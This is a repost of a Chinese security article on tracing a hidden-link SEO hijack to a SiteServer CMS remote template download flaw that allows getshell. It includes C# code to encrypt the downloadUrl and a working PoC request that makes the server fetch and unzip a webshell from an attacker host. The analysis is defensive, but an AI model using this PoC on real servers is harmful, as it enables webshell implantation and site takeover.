搜索

[13750] 2019-02-12_简记siteserver远程模板下载Getshell漏洞

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2019-02-12_简记siteserver远程模板下载Getshell漏洞 简 记 s i t e s e r v e r 远 程 模 板 下 载 G e t s h e l l 漏 洞 原 创   1 u 0 h u n   F r e e B u f   2 0 1 9 - 0 2 - 1 2 小 明 同 学 在 某 个 神 清 气 朗 的 周 六 接 到 来 自 上 级 的 应 急 任 务 ， 本 次 任 务 详 情 为 对 某 个 网 站 黑 链 安 全 攻 击 事 件 进 行 溯 源 ， 找 到 攻 击 路 径 ， 找 出 幕 后 真 凶 ， 然 而 ， 一 场 意 外 的 事 情 才 刚 刚 开 小 明 同 学 在 某 个 神 清 气 朗 的 周 六 接 到 来 自 上 级 的 应 急 任 务 ， 本 次 任 务 详 情 为 对 某 个 网 站 黑 链 安 全 攻 击 事 件 进 行 溯 源 ， 找 到 攻 击 路 径 ， 找 出 幕 后 真 凶 ， 然 而 ， 一 场 意 外 的 事 情 才 刚 刚 开 始 始 … … 0 x 0 1   应 急 响 应 分 析 应 急 响 应 分 析 0 x 0 a   事 件 表 现 事 件 表 现 通 过 收 到 的 任 务 清 单 ， 了 解 到 本 次 安 全 事 件 属 于 黑 链 攻 击 事 件 ， 通 常 主 要 是 通 过 百 度 等 搜 索 引 擎 查 看 快 照 等 发 现 存 在 该 黑 链 ， 但 是 直 接 访 问 黑 链 链 接 却 没 有 任 何 内 容     通 过 客 户 在 网 关 出 口 架 构 的 某 安 全 厂 商 的 下 一 代 防 火 墙 ， 客 户 及 时 发 现 黑 链 现 象 并 反 馈 出 来 。 通 过 在 百 度 搜 索 引 擎 中 使 用 g o o g l e   h a c k i n g 搜 索 方 式 ， 来 找 到 百 度 爬 虫 爬 取 到 的 该 网 站 的 黑 链 快 照 文 件 ， 再 次 确 认 黑 链 现 象 。 而 在 直 接 访 问 该 u r l 时 则 直 接 跳 转 到 正 常 页 面 ， 通 过 简 单 的 信 息 ， 可 以 确 定 ， 应 该 是 在 服 务 器 端 写 入 R e f e r e r   U A 劫 持 ， 将 来 自 于 百 度 等 搜 索 引 擎 的 访 问 劫 持 跳 转 到 黑 链 ， 而 直 接 输 入 u r l 访 问 则 不 进 行 劫 持 ， 要 想 使 用 此 种 黑 链 手 法 ， 必 须 要 拿 下 服 务 器 才 行 ， 意 味 着 客 户 服 务 器 肯 定 植 入 了 后 门 文 件 。 0 x 0 b   事 件 分 析 事 件 分 析 通 过 上 述 事 件 表 现 ， 基 本 上 可 以 判 断 出 攻 击 者 攻 击 的 方 式 ， 因 此 到 被 攻 击 的 服 务 器 ， 拿 上 D 盾 一 顿 扫 ， 可 以 看 到 出 现 很 多 后 门 文 件 ， 最 近 的 一 次 是 在 2 0 1 8 - 1 0 - 0 4 ， 距 离 本 次 安 全 应 急 也 是 最 早 的 ， 与 百 度 快 照 中 的 时 间 保 持 一 致 ， 基 本 上 可 以 确 定 是 这 一 次 攻 击 后 ， 写 了 黑 链 劫 持 文 件 ， 导 致 此 次 黑 链 安 全 事 件 。 根 据 经 验 在 网 站 目 录 下 搜 索 s p i d e r 或 者 黑 链 链 接 u r l 等 标 志 字 符 ， 确 定 黑 链 的 文 件 ， 可 以 看 到 在 该 文 件 中 对 来 源 于 s o u g o u 、 h a o s o u 、 s o 、 b a i d u 等 搜 索 引 擎 的 U A ， 就 会 劫 持 跳 转 到 博 彩 网 站 ， 因 此 将 该 文 件 删 除 就 能 够 恢 复 网 站 的 正 常 。
再 对 事 件 处 置 完 毕 ， 进 行 日 志 分 析 ， 根 据 之 前 掌 握 到 的 时 间 以 及 w e b s h e l l 后 门 文 件 的 名 称 i n c l u d e . a s p x 、 a s p d m . t x t ( 恶 意 代 码 在 a s p d m . t x t 中 ， 使 用 i n c l u d e . a s p x 包 含 执 行 ) ， 对 日 志 进 行 筛 选 （ I I S 日 志 可 能 存 在 8 个 小 时 的 误 差 ， 即 访 问 时 间 为 1 4 时 ， 日 志 记 录 可 能 在 6 时 ） ， 经 过 一 个 多 小 时 的 排 查 ， 发 现 有 一 个 a j a x o t h e r s e r v i c e . a s p x 此 服 务 接 口 存 在 可 疑 ， 攻 击 者 在 攻 击 前 频 繁 访 问 此 U R L 接 口 。 将 服 务 器 上 的 w e b s h e l l 后 门 文 件 先 备 份 样 本 后 删 除 ， 访 问 该 可 疑 链 接 h t t p : / / w w w . x x x . c o m / A j a x / a j a x O t h e r S e r v i c e . a s p x ? t y p e = S i t e T e m p l a t e D o w n l o a d & u s e r K e y P r e f i x = t e s t & d o w n l o a d U r l = Z j Y I u b 0 s l a s h 0 Y x A 2 n Y L I Z N D e U m d d 3 G B h w b u B X I 4 s 2 b p H 2 C V m t g 2 H 0 s l a s h 0 Q G Z 4 0 a d d 0 Z W 0 i i V b i 0 s l a s h 0 M D y t V n p Z K l i D w 0 e q u a l s 0 & d i r e c t o r y N a m e = t x t 2 ， 模 拟 恶 意 攻 击 者 行 为 ， 发 现 浏 览 器 会 返 回 信 息 为 站 点 模 板 下 载 成 功 。   之 后 在 服 务 器 发 现 模 板 文 件 目 录 下 果 然 会 自 动 生 成 一 个 后 门 z i p 并 且 会 自 解 压 ， 由 于 使 用 z i p 因 此 很 多 防 火 墙 无 法 检 测 拦 截 该 文 件 是 否 为 恶 意 文 件 ， 造 成 被 轻 松 植 入 w e b s h e l l 。 到 此 ， 就 发 现 了 后 门 w e b s h e l l 的 攻 击 路 径 ， 通 过 远 程 下 载 模 板 的 方 式 ， 将 后 门 w e b s h e l l 打 包 成 压 缩 文 件 z i p ， 而 压 缩 文 件 会 自 动 解 压 ， 所 以 造 成 a s p x 文 件 可 以 执 行 ， 此 过 程 类 似 于 t o m c a t 上 传 w a r 包 。 0 x 0 2   代 码 审 计 代 码 审 计 0 x 0 a   漏 洞 概 述 漏 洞 概 述 通 过 了 解 ， 得 知 被 攻 击 的 网 站 使 用 的 是 s i t e s e r v e r   c m s ， 为 开 源 免 费 c m s 框 架 ， 官 网 h t t p s : / / w w w . s i t e s e r v e r . c n / ， 捕 获 到 的 “ 0   d a y ” 是 通 过 远 程 模 板 下 载 g e t s h e l l ， 漏 洞 缺 陷 是 由 于 后 台 模 板 下 载 位 置 未 对 用 户 权 限 进 行 校 验 ， 且   a j a x O t h e r S e r v i c e 中 的 d o w n l o a d U r l 参 数 可 控 ， 导 致 g e t s h e l l ， 目 前 经 过 测 试 发 现 对 5 . 0 版 本 包 含 5 . 0 以 下 通 杀 。 0 x 0 b   漏 洞 分 析 漏 洞 分 析 可 以 看 到 利 用 的 是 a j a x O t h e r S e r v i c e . c s 中 的 S i t e T e m p l a t e D o w n l o a d 功 能 模 块 ， 使 用 n o t e p a d + + 搜 索 到 该 功 能 模 块 如 下 。 发 现 在 a j a x O t h e r S e r v i c e . c s 文 件 中 确 实 存 在 函 数 调 用 接 口 S i t e T e m p l a t e D o w n l o a d ( s t r i n g d o w n l o a d U r l ,   s t r i n g   d i r e c t o r y N a m e ,   s t r i n g   u s e r K e y P r e f i x ) 。
其 中 d o w n l o a d U r l 就 是 远 程 文 件 的 U R L 地 址 ， d i r e c t o r y N a m e 是 下 载 到 本 地 之 后 命 名 的 模 板 目 录 ， u s e r K e y P r e f i x 是 加 密 的 密 钥 ， 继 续 审 核 此 文 件 ， 整 理 出 整 个 函 数 调 用 流 程 如 下 ， 首 先 在 A j a x O t h e r S e r v i c e . c s 文 件 中 使 用 P a g e _ L o a d 函 数 负 责 加 载 整 个 页 面 ， 然 后 通 过 r e q u e s t [ ‘ t y p e ’ ] 获 取 到 不 同 的 操 作 类 型 ， 如 果 获 取 到 的 t y p e 为 T y p e S i t e T e m p l a t e D o w n l o a d   ， 就 会 执 行 其 r e q u e s t 参 数 值 的 相 关 功 能 ， 其 中 最 重 要 的 一 步 操 作 就 是 此 时 先 调 用 了 D e c r y p t S t r i n g B y S e c r e t K e y 函 数 将 d o w n l o a d u r l 先 进 行 了 解 密 ， 之 后 调 用 S i t e T e m p l a t e D o w n l o a d 函 数 进 行 模 板 下 载 并 自 解 压 。   在 A j a x O t h e r S e r v i c e 类 中 通 过 常 量 中 已 经 定 义 了 T y p e S i t e T e m p l a t e D o w n l o a d   =   “ S i t e T e m p l a t e D o w n l o a d ” 。 因 此 当 t y p e 等 于 S i t e T e m p l a t e D o w n l o a d 时 就 会 调 用 S i t e T e m p l a t e D o w n l o a d 函 数 ， 逻 辑 非 常 的 清 楚 ， 接 下 来 分 析 d o w n l o a d u r l 到 底 是 怎 么 解 密 的 ， 这 也 是 本 次 审 计 的 重 点 ， 毕 竟 其 他 逻 辑 非 常 清 楚 了 ， 通 过 调 用 T r a n s l a t e U t i l s . D e c r y p t S t r i n g B y S e c r e t K e y 函 数 进 行 解 密 ， 通 常 开 发 习 惯 就 是 类 名 与 文 件 名 基 本 保 持 一 致 ， 因 此 很 容 易 找 到 该 文 件 。 通 过 分 析 源 代 码 可 知 ， 这 里 将 D e c r y p t S t r i n g B y S e c r e t K e y 函 数 进 行 重 载 ， 在 调 用 D e c r y p t S t r i n g B y S e c r e t K e y ( s t r i n g   i n p u t S t r i n g ) 时 候 ， 实 际 上 调 用 的 是 下 面 带 s e c r e t K e y 的 同 名 函 数 D e c r y p t S t r i n g B y S e c r e t K e y ( s t r i n g i n p u t S t r i n g ,   s t r i n g   s e c r e t K e y ) ， 分 析 该 函 数 其 中 s e c r e t K e y 是 取 自 W e b C o n f i g U t i l s . S e c r e t K e y 的 值 ， 通 过 审 计 W e b C o n f i g U t i l s . c s 文 件 可 知 ， 该 值 是 从 配 置 文 档 w e b . c o n f i g 中 取 得 对 应 字 段 值 。 S e c r e t K e y 的 值 可 以 在 w e b . c o n f i g 文 件 中 找 到 。 解 密 函 数 D e c r y p t S t r i n g B y S e c r e t K e y ( s t r i n g   i n p u t S t r i n g ,   s t r i n g   s e c r e t K e y ) 中 s e c r e t K e y 的 参 数 值 同 样 为 W e b C o n f i g U t i l s . S e c r e t K e y 的 值 , 继 续 分 析 该 函 数 ， 可 以 看 到 先 进 行 了 混 淆 字 符 ， 将 字
符 “ + = & ? ’ / ” 替 换 成 D E S 加 密 后 的 密 文 。 这 里 使 用 p y t h o n 脚 本 去 除 混 淆 ， 恢 复 原 D E S 密 文 。 程 序 去 除 混 淆 之 后 调 用 D E S 模 块 并 实 例 化 e n c r y p t o r 对 象 调 用 D e s D e c r y p t 解 密 函 数 ， 在 实 例 化 对 象 时 将 i n p u t S t r i n g 和 s e c r e K e y 传 入 。 使 用 菜 鸟 教 程 h t t p : / / w w w . r u n o o b . c o m / 调 试 运 行 下 核 心 的 加 解 密 代 码 传 入 参 数 _ e n c r y p t K e y 和 _ i n p u t S t r i n g 加 密 代 码 调 试 如 下 _ i n p u t S t r i n g 传 入 任 意 黑 客 构 造 的 地 址 ， _ e n c r y p t K e y 传 入 密 钥 。 执 行 之 后 获 取 其 加 密 d o w n l o a d u r l 如 下 ： Z j Y I u b / Y x A 3 Q e m p k V B K 4 C o i V o 3 M 6 0 7 H / T B f 7 F 0 a P c U E = ，   使 用 p y t h o n 代 码 混 淆 该 u r l ， 得 到 最 后 利 用 的 d o w n l o a d u r l 。 混 淆 之 后 的 d o w n l o a d u r l 为 ： Z j Y I u b 0 s l a s h 0 Y x A 3 Q e m p k V B K 4 C o i V o 3 M 6 0 7 H 0 s l a s h 0 T B f 7 F 0 a P c U E 0 e q u a l s 0 0 s e c r e t 0 ， 解 密 的 步 骤 与 加 密 相 反 ， 首 先 将 混 淆 后 的 下 载 地 址 去 除 混 淆 。 去 混 淆 p y 代 码 去 混 淆 后 密 文 如 下 ： Z j Y I u b / Y x A 2 n Y L I Z N D e U m d d 3 G B h w b u B X I 4 s 2 b p H 2 C V m t g 2 H / Q G Z 4 + Z W 0 i i V b i / M D y t V n p Z K l i D w = ， 解 密 函 数 调 试 如 下 ， 传 入 _ i n p u t S t r i n g 和 密 钥 。 u s i n g   S y s t e m ;   u s i n g   S y s t e m . I O ;   u s i n g   S y s t e m . S e c u r i t y . C r y p t o g r a p h y ;   u s i n g   S y s t e m . T e x t ;   n a m e s p a c e   E n c r y p t A p p l i c a t i o n   {   c l a s s   E n c r y p t           {   s t a t i c   v o i d   M a i n ( s t r i n g [ ]   a r g s )               {                   v a r   _ e n c r y p t K e y   =   " v E n f k n 1 6 t 8 a e a Z K G 3 a 4 G l 9 U U l z f 4 v g q U 9 x w h 8 Z V 5 " ;                   v a r   _ d e c r y p t K e y   =   " v E n f k n 1 6 t 8 a e a Z K G 3 a 4 G l 9 U U l z f 4 v g q U 9 x w h 8 Z V 5 " ;                 v a r   _ i n p u t S t r i n g   =   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 9 / t x t 2 . z i p " ;                 v a r   _ o u t S t r i n g   =   " " ;   v a r   _ n o t e M e s s a g e   =   " " ;                 b y t e [ ]   i v   =   {   0 x 1 2 ,   0 x 3 4 ,   0 x 5 6 ,   0 x 7 8 ,   0 x 9 0 ,   0 x A B ,   0 x C D ,   0 x E F   } ;                 t r y {                         v a r   b y K e y   =   E n c o d i n g . U T F 8 . G e t B y t e s ( _ e n c r y p t K e y . L e n g t h   >   8   ?   _ e n c r y p t K e y . S u b s t r i n g ( 0 ,   8 )   :   _ e n c r y p t K e y ) ;                       v a r   d e s   =   n e w   D E S C r y p t o S e r v i c e P r o v i d e r ( ) ;                       v a r   i n p u t B y t e A r r a y   =   E n c o d i n g . U T F 8 . G e t B y t e s ( _ i n p u t S t r i n g ) ;                       v a r   m s   =   n e w   M e m o r y S t r e a m ( ) ;                       v a r   c s   =   n e w   C r y p t o S t r e a m ( m s ,   d e s . C r e a t e E n c r y p t o r ( b y K e y ,   i v ) ,   C r y p t o S t r e a m M o d e . W r i t e ) ;           c s . W r i t e ( i n p u t B y t e A r r a y ,   0 ,   i n p u t B y t e A r r a y . L e n g t h ) ;                   c s . F l u s h F i n a l B l o c k ( ) ;                     _ o u t S t r i n g   =   C o n v e r t . T o B a s e 6 4 S t r i n g ( m s . T o A r r a y ( ) ) ;                     C o n s o l e . W r i t e L i n e ( " D e s E n c r y p t : " ) ;   C o n s o l e . W r i t e L i n e ( _ o u t S t r i n g ) ;   }             c a t c h   ( E x c e p t i o n   e r r o r )   {   _ n o t e M e s s a g e   =   e r r o r . M e s s a g e ;   }     }   }   }
0 x 0 3     漏 洞 复 现 漏 洞 复 现 假 设 d o w n l o a d u r l 地 址 为 （ 实 际 利 用 是 黑 客 的 公 网 I P 地 址 ） ： h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 9 / t x t 2 . z i p 安 装 后 的 s e c r e t K e y : v E n f k n 1 6 t 8 a e a Z K G 3 a 4 G l 9 U U l z f 4 v g q U 9 x w h 8 Z V 5 加 密 后 的 d o w n l o a d u r l : Z j Y I u b / Y x A 3 Q e m p k V B K 4 C o i V o 3 M 6 0 7 H / T B f 7 F 0 a P c U E = 混 淆 后 传 入 参 数 中 的 d o w n l o a d u r l ： Z j Y I u b 0 s l a s h 0 Y x A 3 Q e m p k V B K 4 C o i V o 3 M 6 0 7 H 0 s l a s h 0 T B f 7 F 0 a P c U E 0 e q u a l s 0 0 s e c r e t 0 可 以 构 造 如 下 的 P O C 实 现 远 程 文 件 下 载 ， 获 取 w e b s h e l l / A j a x / a j a x O t h e r S e r v i c e . a s p x t y p e = S i t e T e m p l a t e D o w n l o a d & u s e r K e y P r e f i x = t e s t & d o w n l o a d U r l = Z j Y I u b 0 s l a s h 0 Y x A 3 Q e m p k V B K 4 C o i V o 3 M 6 0 7 H 0 s l a s h 0 T B f 7 F 0 a P c U E 0 e q u a l s 0 & d i r e c t o r y N a m e = t x t 2 在 浏 览 器 访 问 自 己 搭 建 的 测 试 网 站 使 用 u r l ， 发 现 提 示 模 板 下 载 成 功 。 在 服 务 器 上 查 看 ， 发 现 自 解 压 该 后 门 z i p 。 然 后 访 问 该 后 门 即 可 。 0 x 0 4   总 结 总 结 服 务 器 黑 链 事 件 ， 往 往 大 多 数 都 是 通 过 恶 意 黑 客 手 中 的 未 公 开 的 漏 洞 ， 批 量 扫 描 攻 击 ， 植 入 w e b s h e l l ， 以 及 黑 链 。 作 为 一 个 安 全 从 业 人 员 ， 要 在 对 坑 中 学 习 其 攻 击 手 法 ， 从 中 找 到 解 决 方 式 ， 维 护 世 界 和 平 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： 1 u 0 h u n ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理